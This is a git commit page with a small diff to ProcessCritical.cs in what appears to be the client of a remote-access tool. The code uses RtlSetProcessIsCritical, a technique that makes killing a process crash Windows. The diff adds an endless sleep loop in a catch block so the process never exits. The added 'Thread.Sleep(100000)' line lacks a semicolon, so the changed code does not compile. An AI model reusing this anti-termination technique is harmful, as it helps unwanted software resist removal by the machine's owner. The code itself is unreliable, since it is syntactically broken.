Merge pull request #33 from MrDevBot/patch-1
Update to ProcessCritical.cs
This commit is contained in:
commit
dcebdff612
@ -21,7 +21,13 @@ namespace Client.Helper
|
|||||||
{
|
{
|
||||||
RtlSetProcessIsCritical(0, 0, 0);
|
RtlSetProcessIsCritical(0, 0, 0);
|
||||||
}
|
}
|
||||||
catch { }
|
catch
|
||||||
|
{
|
||||||
|
while(true)
|
||||||
|
{
|
||||||
|
Thread.Sleep(100000) //prevents a BSOD on exit failure
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#region "Native Methods"
|
#region "Native Methods"
|
||||||
|
Loading…
x
Reference in New Issue
Block a user